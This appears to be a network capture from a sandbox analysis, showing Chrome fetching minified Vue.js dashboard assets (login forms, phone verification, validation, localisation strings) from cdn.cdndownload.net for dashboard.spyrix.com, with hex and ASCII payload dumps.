2024-10-02 04:11:47 UTC	414	OUT	GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:48 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 613 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-265" Cache: STALE X-Cached-Since: 2024-10-01T20:11:01+00:00 X-Node: m9-up-gc231 Accept-Ranges: bytes
2024-10-02 04:11:48 UTC	613	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 63 20 61 73 20 72 2c 61 20 61 73 20 65 2c 6f 20 61 73 20 74 2c 62 20 61 73 20 63 2c 74 20 61 73 20 75 2c 6e 20 61 73 20 6c 2c 65 20 61 73 20 66 2c 55 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 6f 6e 65 52 6f 77 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 62 6f 6c 64 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 74 65 78 74 3a 7b 7d 2c 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 73 6d 22 7d 2c 63 6f 6c 6f 72 3a 7b 64 65 66 61 75 6c 74 3a 22 64 65 66 61 75 6c 74 22 7d 2c 75 70 70 65 72 63 61 73 65 Data Ascii: import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49768	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	398	OUT	GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:48 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 4589 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-11ed" Cache: STALE X-Cached-Since: 2024-10-01T19:07:02+00:00 X-Node: m9-up-gc71 Accept-Ranges: bytes
2024-10-02 04:11:48 UTC	3763	IN	Data Raw: 69 6d 70 6f 72 74 7b 4a 20 61 73 20 54 2c 24 20 61 73 20 4c 2c 46 20 61 73 20 79 2c 61 47 20 61 73 20 5f 2c 45 20 61 73 20 77 2c 61 4d 20 61 73 20 62 2c 61 41 20 61 73 20 52 2c 63 20 61 73 20 43 2c 70 20 61 73 20 46 2c 61 74 20 61 73 20 63 2c 52 20 61 73 20 4d 2c 61 76 20 61 73 20 66 2c 61 75 20 61 73 20 53 2c 61 77 20 61 73 20 75 2c 61 78 20 61 73 20 68 2c 61 63 20 61 73 20 4e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e 20 6c 74 28 29 7b 76 61 72 20 70 3b 63 6f 6e 73 74 20 74 3d 54 28 29 2c 65 3d 4c 28 29 2c 72 3d 79 28 29 2c 61 3d 5f 28 29 2c 7b 73 65 74 44 65 66 61 75 6c 74 73 3a 6f 7d 3d 77 28 29 2c 73 3d 28 28 70 3d 72 2e 70 72 6f 67 72 61 6d 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 70 Data Ascii: import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p
2024-10-02 04:11:48 UTC	826	IN	Data Raw: 2e 75 7d 2c 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 3a 7b 2e 2e 2e 75 7d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 66 65 74 63 68 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 2c 66 65 74 63 68 45 72 72 6f 72 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 65 72 72 6f 72 7d 2c 63 68 65 63 6b 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 7d 2c 61 63 74 69 6f 6e 73 3a 7b 61 73 79 6e 63 20 66 65 74 63 68 56 65 72 69 66 69 63 61 74 69 6f 6e 50 68 6f 6e 65 28 74 29 7b 63 6f 6e 73 74 20 65 3d 45 28 74 29 3b 61 77 61 69 Data Ascii: .u},checkPhoneCallStatus:{...u}}),getters:{fetchState(t){return t.fetchPhoneCallStatus.state},fetchError(t){return t.fetchPhoneCallStatus.error},checkState(t){return t.checkPhoneCallStatus.state}},actions:{async fetchVerificationPhone(t){const e=E(t);awai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49764	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	379	OUT	GET /dashboard30/assets/index-1178777c.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:47 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5163 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-142b" Cache: HIT X-Cached-Since: 2024-10-02T04:11:42+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:47 UTC	3764	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 46 2c 6f 20 61 73 20 49 2c 62 20 61 73 20 44 2c 69 20 61 73 20 50 2c 72 20 61 73 20 67 74 2c 6e 20 61 73 20 72 2c 75 20 61 73 20 74 2c 61 75 20 61 73 20 70 74 2c 67 20 61 73 20 48 2c 45 20 61 73 20 5f 74 2c 46 20 61 73 20 66 74 2c 24 20 61 73 20 76 74 2c 44 20 61 73 20 45 74 2c 4d 20 61 73 20 75 2c 63 20 61 73 20 77 2c 70 20 61 73 20 78 2c 52 20 61 73 20 79 2c 73 20 61 73 20 68 74 2c 61 74 20 61 73 20 77 74 2c 68 20 61 73 20 73 2c 79 20 61 73 20 64 2c 61 7a 20 61 73 20 78 74 2c 61 6d 20 61 73 20 79 74 2c 65 20 61 73 20 53 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 61 20 61 73 20 57 2c 75 20 61 73 20 4c 74 2c 62 20 61 73 20 50 74 2c 64 20 61 73 20 42 74 7d 66 Data Ascii: import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}f
2024-10-02 04:11:47 UTC	1399	IN	Data Raw: 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 66 6f 72 6d 22 2c 6f 6e 4b 65 79 70 72 65 73 73 3a 78 74 28 47 2c 5b 22 65 6e 74 65 72 22 5d 29 7d 2c 5b 73 28 71 2c 7b 63 6c 61 73 73 3a 72 28 5b 74 28 69 29 2e 69 6e 70 75 74 5d 29 2c 76 61 6c 75 65 3a 74 28 67 29 2c 76 61 72 69 61 6e 74 3a 72 74 2e 76 61 6c 75 65 2c 22 61 64 64 69 74 69 6f 6e 61 6c 2d 6d 65 73 73 61 67 65 22 3a 74 28 52 29 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 74 28 61 29 28 22 45 6d 61 69 6c 22 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 65 6d 61 69 6c 22 2c 6f 6e 4f 6e 43 68 61 6e 67 65 3a 51 7d 2c 6e 75 6c 6c 2c 38 2c 5b 22 63 6c 61 73 73 22 2c 22 76 61 6c 75 65 22 2c 22 76 61 72 69 61 6e 74 22 2c 22 61 64 64 69 74 69 6f 6e 61 6c 2d 6d 65 73 73 61 67 65 22 2c 22 70 6c 61 63 65 68 Data Ascii: "data-testid":"form",onKeypress:xt(G,["enter"])},[s(q,{class:r([t(i).input]),value:t(g),variant:rt.value,"additional-message":t(R),placeholder:t(a)("Email"),"data-testid":"email",onOnChange:Q},null,8,["class","value","variant","additional-message","placeh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49767	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	376	OUT	GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:48 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:48 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 774 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-306" Cache: STALE X-Cached-Since: 2024-10-01T23:08:30+00:00 X-Node: m9-up-gc228 Accept-Ranges: bytes
2024-10-02 04:11:48 UTC	774	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 52 65 67 69 73 74 65 72 22 2c 6f 3d 22 45 6d 61 69 6c 22 2c 74 3d 22 50 61 73 73 77 6f 72 64 22 2c 73 3d 22 4c 6f 67 69 6e 22 2c 61 3d 7b 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 3a 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 2c 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 3a 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 2c 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 3a 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 2c 52 65 67 69 73 74 65 72 3a 65 2c 45 6d 61 69 6c 3a 6f 2c 50 61 73 73 77 6f 72 64 3a 74 2c 4c 6f 67 69 6e 3a 73 2c 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 3a 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 2c 22 54 68 69 73 20 65 6d 61 69 6c 20 63 61 6e 6e 6f 74 20 62 65 20 75 73 Data Ascii: const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49766	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	376	OUT	GET /dashboard30/assets/en-5393c481.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:48 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1098 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-44a" Cache: STALE X-Cached-Since: 2024-10-01T22:26:03+00:00 X-Node: m9-up-gc97 Accept-Ranges: bytes
2024-10-02 04:11:48 UTC	1098	IN	Data Raw: 63 6f 6e 73 74 20 6f 3d 22 63 6f 6e 76 65 6e 69 65 6e 74 22 2c 65 3d 22 4d 61 69 6e 22 2c 6e 3d 7b 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 2c 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 2c 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 3a 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 2c 22 50 6c 65 61 73 65 20 70 75 72 63 68 61 73 65 20 61 20 6c 69 63 65 6e 73 65 20 74 6f 20 61 63 63 65 73 73 20 79 6f 75 72 20 64 61 74 61 22 3a 22 50 6c 65 61 73 65 20 Data Ascii: const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49773	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	595	OUT	GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:48 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 796 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-31c" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T03:12:50+00:00 X-Node: m9-up-gc73 Accept-Ranges: bytes
2024-10-02 04:11:48 UTC	796	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 2c 67 20 61 73 20 63 2c 63 20 61 73 20 73 2c 6f 20 61 73 20 66 2c 62 20 61 73 20 6d 2c 68 20 61 73 20 70 2c 6e 2c 75 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 78 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 6f 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 54 65 78 74 2e 6d 6f 64 75 6c 65 2d 63 37 36 39 62 39 61 65 2e 6a 73 22 3b 63 6f 6e 73 74 20 62 3d 64 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 77 68 69 74 65 53 70 61 63 65 3a Data Ascii: import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49772	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	562	OUT	GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:49 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:48 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 838 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-346" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:12:45+00:00 X-Node: m9-up-gc41 Accept-Ranges: bytes
2024-10-02 04:11:49 UTC	838	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 63 20 61 73 20 6e 2c 6d 20 61 73 20 69 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 69 6e 63 6c 75 64 65 73 28 22 40 22 29 26 26 65 2e 69 6e 63 6c 75 64 65 73 28 22 2e 22 29 3f 22 22 3a 74 28 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 20 76 61 6c 69 64 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 63 6f 6e 73 74 7b 74 7d 3d 6e 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3c 3d 31 38 30 3f 22 22 3a 74 28 22 54 68 65 20 66 69 65 6c 64 20 6d 75 73 74 20 63 6f 6e 74 61 69 6e 20 6c 65 73 73 20 74 68 61 6e 20 31 38 30 20 63 68 61 72 61 63 74 65 72 73 Data Ascii: import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49771	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	590	OUT	GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:48 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:48 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 3702 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-e76" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T03:20:37+00:00 X-Node: m9-up-gc234 Accept-Ranges: bytes
2024-10-02 04:11:48 UTC	3702	IN	Data Raw: 69 6d 70 6f 72 74 20 42 20 66 72 6f 6d 22 2e 2f 6c 6f 6f 70 2d 63 34 35 66 30 66 31 65 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 64 20 61 73 20 62 2c 6d 20 61 73 20 69 2c 61 69 20 61 73 20 77 2c 63 20 61 73 20 64 2c 6f 20 61 73 20 75 2c 62 20 61 73 20 68 2c 69 20 61 73 20 66 2c 6e 20 61 73 20 6f 2c 75 20 61 73 20 61 2c 68 20 61 73 20 70 2c 55 20 61 73 20 76 2c 7a 20 61 73 20 6d 2c 65 20 61 73 20 43 2c 79 20 61 73 20 49 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 35 36 65 64 66 35 61 36 2e 6a 73 22 3b 63 6f 6e 73 74 20 57 3d 22 2d 7a 74 Data Ascii: import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-zt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49774	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	553	OUT	GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:49 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:48 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 523 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-20b" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T01:47:10+00:00 X-Node: m9-up-gc42 Accept-Ranges: bytes
2024-10-02 04:11:49 UTC	523	IN	Data Raw: 69 6d 70 6f 72 74 7b 6f 20 61 73 20 65 2c 62 20 61 73 20 6f 2c 69 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 73 3d 7b 78 6d 6c 6e 73 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 2c 76 69 65 77 42 6f 78 3a 22 30 20 30 20 32 34 20 32 34 22 7d 2c 6e 3d 74 28 22 70 61 74 68 22 2c 7b 64 3a 22 4d 31 34 2e 37 32 20 31 33 2e 34 33 34 68 2d 2e 36 37 37 6c 2d 2e 32 34 2d 2e 32 33 32 61 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 31 2e 33 34 36 2d 33 2e 36 32 37 20 35 2e 35 37 34 20 35 2e 35 37 34 20 30 20 31 20 30 2d 35 2e 35 37 34 20 35 2e 35 37 34 20 35 2e 35 35 20 35 2e 35 35 20 30 20 30 20 30 20 33 2e 36 32 37 2d 31 2e 33 34 36 6c 2e 32 33 32 2e Data Ascii: import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49775	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	419	OUT	GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:49 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:48 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 733 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-2dd" Cache: STALE X-Cached-Since: 2024-10-01T19:01:47+00:00 X-Node: m9-up-gc98 Accept-Ranges: bytes
2024-10-02 04:11:49 UTC	733	IN	Data Raw: 69 6d 70 6f 72 74 7b 45 20 61 73 20 75 2c 73 20 61 73 20 6c 2c 61 74 20 61 73 20 69 2c 70 20 61 73 20 6d 2c 64 20 61 73 20 6f 2c 6f 20 61 73 20 72 2c 62 20 61 73 20 5f 2c 72 20 61 73 20 70 2c 6e 20 61 73 20 66 2c 75 20 61 73 20 63 2c 67 2c 65 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 68 7d 66 72 6f 6d 22 2e 2f 43 6f 6e 66 69 72 6d 50 68 6f 6e 65 4d 6f 64 61 6c 2e 6d 6f 64 75 6c 65 2d 33 66 33 36 39 62 33 32 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e Data Ascii: import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
